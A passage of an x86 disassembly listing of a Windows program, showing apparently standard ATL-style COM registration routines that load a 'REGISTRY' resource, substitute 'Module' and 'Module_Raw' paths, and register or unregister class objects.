		push	eax
		mov	ecx, edi
		mov	[edi], ebx
		call	sub_404100


loc_404C7E:				; CODE XREF: sub_404BA0+55j
					; sub_404BA0+82j ...
		pop	ebp
		pop	ebx


loc_404C80:				; CODE XREF: sub_404BA0+3Dj
		mov	ecx, [esp+100Ch+var_1004]
		push	ecx
		call	ds:dword_40F260


loc_404C8B:				; CODE XREF: sub_404BA0+2Ej
		pop	edi
		mov	eax, esi
		pop	esi
		add	esp, 1004h
		retn	8
; ---------------------------------------------------------------------------


loc_404C98:				; CODE XREF: sub_404BA0+B3j
		push	0
		push	ebp
		lea	ecx, [esp+1020h+var_1000]
		push	ecx
		mov	ecx, edi
		call	sub_404100
		mov	esi, eax
		test	esi, esi
		jl	short loc_404C7E


loc_404CAD:				; CODE XREF: sub_404BA0+C9j
		mov	ecx, edi
		call	sub_4017B0
		mov	edx, [edi]
		cmp	byte ptr [edx],	0
		jnz	loc_404BE5
		jmp	short loc_404C7E
sub_404BA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404CD0	proc near		; CODE XREF: sub_404EC0+C7p
					; sub_404FC0+C7p ...

var_410		= dword	ptr -410h
var_40C		= byte ptr -40Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 410h
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		call	off_412040
		xor	ebx, ebx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		mov	[ebp+var_8], esi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_410], ebx
		jz	short loc_404D6F
		push	eax
		call	ds:dword_40F040	; lstrlenW
		lea	edi, [eax+eax+2]
		cmp	edi, 400h
		jg	short loc_404D2D
		push	edi
		call	sub_4010B0
		add	esp, 4
		test	al, al
		jz	short loc_404D2D
		mov	eax, edi
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	__alloca_probe
		mov	esi, esp
		jmp	short loc_404D48
; ---------------------------------------------------------------------------


loc_404D2D:				; CODE XREF: sub_404CD0+3Dj
					; sub_404CD0+4Aj
		lea	eax, [edi+8]
		push	eax		; Size
		call	_malloc
		add	esp, 4
		test	eax, eax
		jz	short loc_404D6F
		mov	dword ptr [eax], 0
		mov	ebx, eax
		lea	esi, [eax+8]


loc_404D48:				; CODE XREF: sub_404CD0+5Bj
		test	esi, esi
		jz	short loc_404D6F
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_4]
		push	0
		push	0
		push	edi
		push	esi
		push	0FFFFFFFFh
		push	ecx
		push	0
		push	edx
		mov	byte ptr [esi],	0
		call	ds:dword_40F03C	; WideCharToMultiByte
		neg	eax
		sbb	eax, eax
		and	eax, esi
		jmp	short loc_404D71
; ---------------------------------------------------------------------------


loc_404D6F:				; CODE XREF: sub_404CD0+2Aj
					; sub_404CD0+6Bj ...
		xor	eax, eax


loc_404D71:				; CODE XREF: sub_404CD0+9Dj
		test	eax, eax
		jnz	short loc_404DB9
		mov	ecx, [ebp+var_410]
		lea	eax, [ebp+var_40C]
		cmp	ecx, eax
		jz	short loc_404D90
		lea	ecx, [ebp+var_410]
		call	sub_401CD0


loc_404D90:				; CODE XREF: sub_404CD0+B3j
		test	ebx, ebx
		jz	short loc_404DA5


loc_404D94:				; CODE XREF: sub_404CD0+D3j
		mov	eax, ebx
		mov	ebx, [ebx]
		push	eax		; Memory
		call	_free
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_404D94


loc_404DA5:				; CODE XREF: sub_404CD0+C2j
		mov	eax, 8007000Eh
		lea	esp, [ebp-41Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------


loc_404DB9:				; CODE XREF: sub_404CD0+A3j
		push	2
		push	0
		push	eax
		call	ds:dword_40F0CC	; LoadLibraryExA
		mov	esi, eax
		test	esi, esi
		mov	[ebp+var_4], esi
		jnz	short loc_404DD9
		call	sub_4013E0
		mov	edi, eax
		jmp	loc_404E79
; ---------------------------------------------------------------------------


loc_404DD9:				; CODE XREF: sub_404CD0+FBj
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+arg_4]
		push	ecx
		push	edx
		push	esi
		call	ds:dword_40F064	; FindResourceA
		mov	edi, eax
		test	edi, edi
		jnz	short loc_404DF5
		call	sub_4013E0
		jmp	short loc_404E70
; ---------------------------------------------------------------------------


loc_404DF5:				; CODE XREF: sub_404CD0+11Cj
		push	edi
		push	esi
		call	ds:dword_40F060	; LoadResource
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	short loc_404E0B
		call	sub_4013E0
		jmp	short loc_404E70
; ---------------------------------------------------------------------------


loc_404E0B:				; CODE XREF: sub_404CD0+132j
		push	edi
		push	esi
		call	ds:dword_40F058	; SizeofResource
		mov	edi, eax
		lea	eax, [edi+1]
		push	eax		; Size
		lea	ecx, [ebp+var_410]
		mov	[ebp+arg_8], edi
		call	sub_402FD0
		mov	eax, [ebp+var_410]
		test	eax, eax
		jnz	short loc_404E38
		mov	edi, 8007000Eh
		jmp	short loc_404E72
; ---------------------------------------------------------------------------


loc_404E38:				; CODE XREF: sub_404CD0+15Fj
		mov	esi, [ebp+arg_0]
		mov	ecx, edi
		mov	edx, ecx
		shr	ecx, 2
		mov	edi, eax
		rep movsd
		mov	ecx, edx
		mov	edx, [ebp+arg_C]
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+var_410]
		mov	ecx, [ebp+arg_8]
		mov	byte ptr [ecx+eax], 0
		mov	eax, [ebp+var_410]
		push	edx
		push	eax
		lea	ecx, [ebp+var_C]
		call	sub_404BA0
		mov	esi, [ebp+var_4]


loc_404E70:				; CODE XREF: sub_404CD0+123j
					; sub_404CD0+139j
		mov	edi, eax


loc_404E72:				; CODE XREF: sub_404CD0+166j
		push	esi
		call	ds:dword_40F0C8	; FreeLibrary


loc_404E79:				; CODE XREF: sub_404CD0+104j
		mov	eax, [ebp+var_410]
		lea	ecx, [ebp+var_40C]
		cmp	eax, ecx
		jz	short loc_404E94
		lea	ecx, [ebp+var_410]
		call	sub_401CD0


loc_404E94:				; CODE XREF: sub_404CD0+1B7j
		test	ebx, ebx
		jz	short loc_404EA9


loc_404E98:				; CODE XREF: sub_404CD0+1D7j
		mov	eax, ebx
		mov	ebx, [ebx]
		push	eax		; Memory
		call	_free
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_404E98


loc_404EA9:				; CODE XREF: sub_404CD0+1C6j
		mov	eax, edi
		lea	esp, [ebp-41Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_404CD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404EC0	proc near		; CODE XREF: sub_4050C0+21Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= word ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		call	off_412040
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_C]
		xor	esi, esi
		test	eax, eax
		jz	short loc_404F4C
		push	eax
		call	ds:dword_40F040	; lstrlenW
		lea	ebx, [eax+eax+2]
		cmp	ebx, 400h
		jg	short loc_404F0A
		push	ebx
		call	sub_4010B0
		add	esp, 4
		test	al, al
		jz	short loc_404F0A
		mov	eax, ebx
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	__alloca_probe
		mov	edi, esp
		jmp	short loc_404F25
; ---------------------------------------------------------------------------


loc_404F0A:				; CODE XREF: sub_404EC0+2Aj
					; sub_404EC0+37j
		lea	eax, [ebx+8]
		push	eax		; Size
		call	_malloc
		add	esp, 4
		test	eax, eax
		jz	short loc_404F4C
		mov	dword ptr [eax], 0
		mov	esi, eax
		lea	edi, [eax+8]


loc_404F25:				; CODE XREF: sub_404EC0+48j
		test	edi, edi
		jz	short loc_404F4C
		mov	ecx, [ebp+arg_C]
		mov	edx, [ebp+var_4]
		push	0
		push	0
		push	ebx
		push	edi
		push	0FFFFFFFFh
		push	ecx
		push	0
		push	edx
		mov	byte ptr [edi],	0
		call	ds:dword_40F03C	; WideCharToMultiByte
		neg	eax
		sbb	eax, eax
		and	eax, edi
		jmp	short loc_404F4E
; ---------------------------------------------------------------------------


loc_404F4C:				; CODE XREF: sub_404EC0+17j
					; sub_404EC0+58j ...
		xor	eax, eax


loc_404F4E:				; CODE XREF: sub_404EC0+8Aj
		test	eax, eax
		jnz	short loc_404F78
		test	esi, esi
		jz	short loc_404F67


loc_404F56:				; CODE XREF: sub_404EC0+A5j
		mov	eax, esi
		mov	esi, [esi]
		push	eax		; Memory
		call	_free
		add	esp, 4
		test	esi, esi
		jnz	short loc_404F56


loc_404F67:				; CODE XREF: sub_404EC0+94j
		mov	eax, 8007000Eh
		lea	esp, [ebp-10h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------


loc_404F78:				; CODE XREF: sub_404EC0+90j
		mov	ecx, [ebp+arg_4]
		push	1
		push	eax
		movzx	eax, [ebp+arg_8]
		push	eax
		push	ecx
		mov	ecx, [ebp+arg_0]
		call	sub_404CD0
		test	esi, esi
		mov	edi, eax
		jz	short loc_404FA3


loc_404F92:				; CODE XREF: sub_404EC0+E1j
		mov	eax, esi
		mov	esi, [esi]
		push	eax		; Memory
		call	_free
		add	esp, 4
		test	esi, esi
		jnz	short loc_404F92


loc_404FA3:				; CODE XREF: sub_404EC0+D0j
		mov	eax, edi
		lea	esp, [ebp-10h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_404EC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404FC0	proc near		; CODE XREF: sub_4050C0+22Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= word ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		call	off_412040
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_C]
		xor	esi, esi
		test	eax, eax
		jz	short loc_40504C
		push	eax
		call	ds:dword_40F040	; lstrlenW
		lea	ebx, [eax+eax+2]
		cmp	ebx, 400h
		jg	short loc_40500A
		push	ebx
		call	sub_4010B0
		add	esp, 4
		test	al, al
		jz	short loc_40500A
		mov	eax, ebx
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	__alloca_probe
		mov	edi, esp
		jmp	short loc_405025
; ---------------------------------------------------------------------------


loc_40500A:				; CODE XREF: sub_404FC0+2Aj
					; sub_404FC0+37j
		lea	eax, [ebx+8]
		push	eax		; Size
		call	_malloc
		add	esp, 4
		test	eax, eax
		jz	short loc_40504C
		mov	dword ptr [eax], 0
		mov	esi, eax
		lea	edi, [eax+8]


loc_405025:				; CODE XREF: sub_404FC0+48j
		test	edi, edi
		jz	short loc_40504C
		mov	ecx, [ebp+arg_C]
		mov	edx, [ebp+var_4]
		push	0
		push	0
		push	ebx
		push	edi
		push	0FFFFFFFFh
		push	ecx
		push	0
		push	edx
		mov	byte ptr [edi],	0
		call	ds:dword_40F03C	; WideCharToMultiByte
		neg	eax
		sbb	eax, eax
		and	eax, edi
		jmp	short loc_40504E
; ---------------------------------------------------------------------------


loc_40504C:				; CODE XREF: sub_404FC0+17j
					; sub_404FC0+58j ...
		xor	eax, eax


loc_40504E:				; CODE XREF: sub_404FC0+8Aj
		test	eax, eax
		jnz	short loc_405078
		test	esi, esi
		jz	short loc_405067


loc_405056:				; CODE XREF: sub_404FC0+A5j
		mov	eax, esi
		mov	esi, [esi]
		push	eax		; Memory
		call	_free
		add	esp, 4
		test	esi, esi
		jnz	short loc_405056


loc_405067:				; CODE XREF: sub_404FC0+94j
		mov	eax, 8007000Eh
		lea	esp, [ebp-10h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------


loc_405078:				; CODE XREF: sub_404FC0+90j
		mov	ecx, [ebp+arg_4]
		push	0
		push	eax
		movzx	eax, [ebp+arg_8]
		push	eax
		push	ecx
		mov	ecx, [ebp+arg_0]
		call	sub_404CD0
		test	esi, esi
		mov	edi, eax
		jz	short loc_4050A3


loc_405092:				; CODE XREF: sub_404FC0+E1j
		mov	eax, esi
		mov	esi, [esi]
		push	eax		; Memory
		call	_free
		add	esp, 4
		test	esi, esi
		jnz	short loc_405092


loc_4050A3:				; CODE XREF: sub_404FC0+D0j
		mov	eax, edi
		lea	esp, [ebp-10h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_404FC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4050C0	proc near		; CODE XREF: sub_405920j
					; WinMain(x,x,x,x)+A6p	...

var_940		= byte ptr -940h
var_530		= word ptr -530h
var_52E		= word ptr -52Eh
var_118		= byte ptr -118h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 940h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_C]
		push	edi
		xor	edi, edi
		cmp	esi, edi
		mov	[ebp+var_14], offset off_40F528
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], edi
		mov	[ebp+var_8], edi
		jz	short loc_405108
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_405108
		jmp	short loc_4050F0
; ---------------------------------------------------------------------------
		align 10h


loc_4050F0:				; CODE XREF: sub_4050C0+2Bj
					; sub_4050C0+46j
		mov	ecx, [esi+4]
		push	ecx
		push	eax
		lea	edx, [ebp+var_14]
		push	edx
		call	sub_403CA0
		mov	eax, [esi+8]
		add	esi, 8
		cmp	eax, edi
		jnz	short loc_4050F0


loc_405108:				; CODE XREF: sub_4050C0+23j
					; sub_4050C0+29j
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx]
		lea	edx, [ebp+var_14]
		push	edx
		call	dword ptr [eax+14h]
		mov	esi, eax
		cmp	esi, edi
		jl	loc_4052FA
		call	off_412040
		mov	ebx, dword_41256C
		mov	[ebp+arg_0], eax
		push	104h
		lea	eax, [ebp+var_118]
		push	eax
		push	ebx
		mov	[ebp+arg_C], edi
		call	ds:dword_40F0A4	; GetModuleFileNameA
		cmp	eax, edi
		jnz	short loc_405153
		call	sub_4013E0
		mov	esi, eax
		jmp	loc_4052FA
; ---------------------------------------------------------------------------


loc_405153:				; CODE XREF: sub_4050C0+85j
		cmp	eax, 104h
		jnz	short loc_40517E
		lea	ecx, [ebp+arg_C]
		call	sub_401C60
		lea	ecx, [ebp+var_14]
		call	sub_4024D0
		mov	eax, 8007007Ah
		lea	esp, [ebp-94Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------


loc_40517E:				; CODE XREF: sub_4050C0+98j
		lea	ecx, [ebp+var_118]
		push	ecx
		call	ds:dword_40F084	; lstrlen
		mov	esi, eax
		inc	esi
		lea	edi, [esi+esi]
		cmp	edi, 400h
		ja	short loc_4051B7
		push	edi
		call	sub_4010B0
		add	esp, 4
		test	al, al
		jz	short loc_4051B7
		mov	eax, edi
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	__alloca_probe
		mov	eax, esp
		jmp	short loc_4051C0
; ---------------------------------------------------------------------------


loc_4051B7:				; CODE XREF: sub_4050C0+D7j
					; sub_4050C0+E4j
		push	edi
		lea	ecx, [ebp+arg_C]
		call	sub_4022E0


loc_4051C0:				; CODE XREF: sub_4050C0+F5j
		mov	edx, [ebp+arg_0]
		push	edx
		push	esi
		lea	ecx, [ebp+var_118]
		push	ecx
		push	eax
		call	sub_401200
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4051FC
		lea	ecx, [ebp+arg_C]
		call	sub_401C60
		lea	ecx, [ebp+var_14]
		call	sub_4024D0
		mov	eax, 8007000Eh
		lea	esp, [ebp-94Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------


loc_4051FC:				; CODE XREF: sub_4050C0+116j
		lea	edx, [ebp+var_940]
		push	esi
		push	edx
		call	sub_401490
		add	esp, 8
		test	ebx, ebx
		jz	short loc_40522E
		push	0
		call	ds:dword_40F0D0	; GetModuleHandleA
		cmp	ebx, eax
		jz	short loc_40522E
		lea	eax, [ebp+var_940]
		push	eax
		push	offset aModule	; "Module"
		lea	ecx, [ebp+var_14]
		push	ecx
		jmp	short loc_40527F
; ---------------------------------------------------------------------------


loc_40522E:				; CODE XREF: sub_4050C0+14Ej
					; sub_4050C0+15Aj
		lea	edx, [ebp+var_940]
		push	edx
		lea	eax, [ebp+var_52E]
		mov	edi, 22h
		push	eax
		mov	[ebp+var_530], di
		call	sub_401280
		add	esp, 8
		lea	ecx, [ebp+var_530]
		push	ecx
		call	ds:dword_40F040	; lstrlenW
		lea	edx, [ebp+var_530]
		push	edx
		mov	[ebp+eax*2+var_530], di
		mov	[ebp+eax*2+var_52E], 0
		push	offset aModule	; "Module"
		lea	eax, [ebp+var_14]
		push	eax


loc_40527F:				; CODE XREF: sub_4050C0+16Cj
		call	sub_403CA0
		mov	edi, eax
		test	edi, edi
		jl	short loc_4052A5
		lea	ecx, [ebp+var_940]
		push	ecx
		push	offset aModule_raw ; "Module_Raw"
		lea	edx, [ebp+var_14]
		push	edx
		call	sub_403CA0
		mov	edi, eax
		test	edi, edi
		jge	short loc_4052C6


loc_4052A5:				; CODE XREF: sub_4050C0+1C8j
		lea	ecx, [ebp+arg_C]
		call	sub_401C60
		lea	ecx, [ebp+var_14]
		call	sub_4024D0
		mov	eax, edi
		lea	esp, [ebp-94Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------


loc_4052C6:				; CODE XREF: sub_4050C0+1E3j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		push	offset aRegistry ; "REGISTRY"
		jz	short loc_4052E2
		mov	eax, [ebp+arg_4]
		push	eax
		push	esi
		lea	ecx, [ebp+var_14]
		push	ecx
		call	sub_404EC0
		jmp	short loc_4052F0
; ---------------------------------------------------------------------------


loc_4052E2:				; CODE XREF: sub_4050C0+210j
		mov	edx, [ebp+arg_4]
		push	edx
		push	esi
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_404FC0


loc_4052F0:				; CODE XREF: sub_4050C0+220j
		lea	ecx, [ebp+arg_C]
		mov	esi, eax
		call	sub_401C60


loc_4052FA:				; CODE XREF: sub_4050C0+58j
					; sub_4050C0+8Ej
		lea	ecx, [ebp+var_14]
		call	sub_4024D0
		mov	eax, esi
		lea	esp, [ebp-94Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_4050C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_405320	proc near		; CODE XREF: WinMain(x,x,x,x)+DBp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [ecx+2Ch]
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		xor	eax, eax
		test	ebx, ebx
		push	edi
		jz	short loc_405371
		mov	edi, [ebx]
		test	edi, edi
		jz	short loc_405371


loc_405337:				; CODE XREF: sub_405320+4Bj
		test	ebp, ebp
		jz	short loc_405348
		mov	ecx, 4
		mov	esi, ebp
		xor	edx, edx
		repe cmpsd
		jnz	short loc_405363


loc_405348:				; CODE XREF: sub_405320+19j
		push	1
		call	dword ptr [ebx+4]
		test	eax, eax
		jl	short loc_40539B
		push	1
		call	dword ptr [ebx+1Ch]
		push	eax
		mov	eax, [ebx]
		push	eax
		call	sub_402B60
		test	eax, eax
		jl	short loc_40539B


loc_405363:				; CODE XREF: sub_405320+26j
		mov	edi, [ebx+24h]
		add	ebx, 24h
		test	edi, edi
		jnz	short loc_405337
		test	eax, eax
		jl	short loc_40539B


loc_405371:				; CODE XREF: sub_405320+Fj
					; sub_405320+15j
		mov	ecx, [esp+10h+arg_0]
		push	ebp
		push	ecx
		push	offset dword_412540
		call	sub_404730
		test	eax, eax
		jl	short loc_40539B
		mov	ecx, dword_4124DC
		test	ecx, ecx
		jz	short loc_40539B
		mov	edx, dword_41256C
		push	edx
		call	ecx
		add	esp, 4


loc_40539B:				; CODE XREF: sub_405320+2Fj
					; sub_405320+41j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	8
sub_405320	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4053B0	proc near		; CODE XREF: WinMain(x,x,x,x)+B4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [ecx+2Ch]
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		xor	eax, eax
		test	ebx, ebx
		push	edi
		jz	short loc_405401
		mov	edi, [ebx]
		test	edi, edi
		jz	short loc_405401


loc_4053C7:				; CODE XREF: sub_4053B0+4Bj
		test	ebp, ebp
		jz	short loc_4053D8
		mov	ecx, 4
		mov	esi, ebp
		xor	edx, edx
		repe cmpsd
		jnz	short loc_4053F3


loc_4053D8:				; CODE XREF: sub_4053B0+19j
		push	0
		call	dword ptr [ebx+1Ch]
		push	eax
		mov	eax, [ebx]
		push	eax
		call	sub_402B60
		test	eax, eax
		jl	short loc_405420
		push	0
		call	dword ptr [ebx+4]
		test	eax, eax
		jl	short loc_405420


loc_4053F3:				; CODE XREF: sub_4053B0+26j
		mov	edi, [ebx+24h]
		add	ebx, 24h
		test	edi, edi
		jnz	short loc_4053C7
		test	eax, eax
		jl	short loc_405420


loc_405401:				; CODE XREF: sub_4053B0+Fj
					; sub_4053B0+15j
		mov	eax, dword_4124D8
		test	eax, eax
		jz	short loc_405410
		call	eax
		test	eax, eax
		jl	short loc_405420


loc_405410:				; CODE XREF: sub_4053B0+58j
		mov	ecx, [esp+10h+arg_0]
		push	ebp
		push	ecx
		push	offset dword_412540
		call	sub_4047C0


loc_405420:				; CODE XREF: sub_4053B0+38j
					; sub_4053B0+41j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	8
sub_4053B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_405430	proc near		; DATA XREF: .rdata:0040F5B4o
		jmp	sub_405440
sub_405430	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405440	proc near		; CODE XREF: sub_405430j

var_948		= byte ptr -948h
var_538		= word ptr -538h
var_536		= word ptr -536h
var_120		= byte ptr -120h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 948h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_C]
		push	edi
		xor	edi, edi
		cmp	esi, edi
		mov	[ebp+var_14], offset off_40F528
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], edi
		mov	[ebp+var_8], edi
		jz	short loc_405488
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_405488
		jmp	short loc_405470
; ---------------------------------------------------------------------------
		align 10h


loc_405470:				; CODE XREF: sub_405440+2Bj
					; sub_405440+46j
		mov	ecx, [esi+4]
		push	ecx
		push	eax
		lea	edx, [ebp+var_14]
		push	edx
		call	sub_403CA0
		mov	eax, [esi+8]
		add	esi, 8
		cmp	eax, edi
		jnz	short loc_405470


loc_405488:				; CODE XREF: sub_405440+23j
					; sub_405440+29j
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx]
		lea	edx, [ebp+var_14]
		push	edx
		call	dword ptr [eax+14h]
		mov	esi, eax
		cmp	esi, edi
		jl	loc_4056BC
		call	off_412040
		push	104h
		mov	ebx, eax
		mov	eax, dword_41256C
		lea	ecx, [ebp+var_120]
		push	ecx
		push	eax
		mov	[ebp+var_18], ebx
		mov	[ebp+arg_C], edi
		mov	[ebp+var_1C], eax
		call	ds:dword_40F0A4	; GetModuleFileNameA
		cmp	eax, edi
		jnz	short loc_4054D7
		call	sub_4013E0
		mov	esi, eax
		jmp	loc_4056BC
; ---------------------------------------------------------------------------


loc_4054D7:				; CODE XREF: sub_405440+89j
		cmp	eax, 104h
		jnz	short loc_405502
		lea	ecx, [ebp+arg_C]
		call	sub_401C60
		lea	ecx, [ebp+var_14]
		call	sub_4024D0
		mov	eax, 8007007Ah
		lea	esp, [ebp-954h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------


loc_405502:				; CODE XREF: sub_405440+9Cj
		lea	edx, [ebp+var_120]
		push	edx
		call	ds:dword_40F084	; lstrlen
		mov	esi, eax
		inc	esi
		lea	edi, [esi+esi]
		cmp	edi, 400h
		ja	short loc_40553B
		push	edi
		call	sub_4010B0
		add	esp, 4
		test	al, al
		jz	short loc_40553B
		mov	eax, edi
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	__alloca_probe
		mov	eax, esp
		jmp	short loc_405544
; ---------------------------------------------------------------------------


loc_40553B:				; CODE XREF: sub_405440+DBj
					; sub_405440+E8j
		push	edi
		lea	ecx, [ebp+arg_C]
		call	sub_4022E0


loc_405544:				; CODE XREF: sub_405440+F9j
		push	ebx
		push	esi
		lea	ecx, [ebp+var_120]
		push	ecx
		push	eax
		call	sub_401200
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_405665
		push	eax
		lea	edx, [ebp+var_948]
		push	edx
		call	sub_401490
		mov	esi, [ebp+var_1C]
		add	esp, 8
		test	esi, esi
		jz	short loc_405593
		push	0
		call	ds:dword_40F0D0	; GetModuleHandleA
		cmp	esi, eax
		jz	short loc_405593
		lea	eax, [ebp+var_948]
		push	eax
		push	offset aModule	; "Module"
		lea	ecx, [ebp+var_14]
		push	ecx
		jmp	short loc_4055E4
; ---------------------------------------------------------------------------


loc_405593:				; CODE XREF: sub_405440+133j
					; sub_405440+13Fj
		lea	edx, [ebp+var_948]
		push	edx
		lea	eax, [ebp+var_536]
		mov	esi, 22h
		push	eax
		mov	[ebp+var_538], si
		call	sub_401280
		add	esp, 8
		lea	ecx, [ebp+var_538]
		push	ecx
		call	ds:dword_40F040	; lstrlenW
		lea	edx, [ebp+var_538]
		push	edx
		mov	[ebp+eax*2+var_538], si
		mov	[ebp+eax*2+var_536], 0
		push	offset aModule	; "Module"
		lea	eax, [ebp+var_14]
		push	eax


loc_4055E4:				; CODE XREF: sub_405440+151j
		call	sub_403CA0
		mov	esi, eax
		test	esi, esi
		jl	loc_4056B4
		lea	ecx, [ebp+var_948]
		push	ecx
		push	offset aModule_raw ; "Module_Raw"
		lea	edx, [ebp+var_14]
		push	edx
		call	sub_403CA0
		mov	esi, eax
		test	esi, esi
		jl	loc_4056B4
		mov	ebx, [ebp+arg_4]
		test	ebx, ebx
		jz	short loc_405665
		push	ebx
		call	ds:dword_40F084	; lstrlen
		mov	esi, eax
		inc	esi
		lea	edi, [esi+esi]
		cmp	edi, 400h
		ja	short loc_40564C
		push	edi
		call	sub_4010B0
		add	esp, 4
		test	al, al
		jz	short loc_40564C
		mov	eax, edi
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	__alloca_probe
		mov	eax, esp
		jmp	short loc_405655
; ---------------------------------------------------------------------------


loc_40564C:				; CODE XREF: sub_405440+1ECj
					; sub_405440+1F9j
		push	edi
		lea	ecx, [ebp+arg_C]
		call	sub_4022E0


loc_405655:				; CODE XREF: sub_405440+20Aj
		mov	ecx, [ebp+var_18]
		push	ecx
		push	esi
		push	ebx
		push	eax
		call	sub_401200
		test	eax, eax
		jnz	short loc_405689


loc_405665:				; CODE XREF: sub_405440+118j
					; sub_405440+1D7j
		lea	ecx, [ebp+arg_C]
		call	sub_401C60
		lea	ecx, [ebp+var_14]
		call	sub_4024D0
		mov	eax, 8007000Eh
		lea	esp, [ebp-954h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------


loc_405689:				; CODE XREF: sub_405440+223j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		push	offset aRegistry ; "REGISTRY"
		push	eax
		jz	short loc_4056A5
		mov	edx, [ebp+arg_0]
		push	edx
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_4056E0
		jmp	short loc_4056B2
; ---------------------------------------------------------------------------


loc_4056A5:				; CODE XREF: sub_405440+254j
		mov	ecx, [ebp+arg_0]
		push	ecx
		lea	edx, [ebp+var_14]
		push	edx
		call	sub_405800


loc_4056B2:				; CODE XREF: sub_405440+263j
		mov	esi, eax


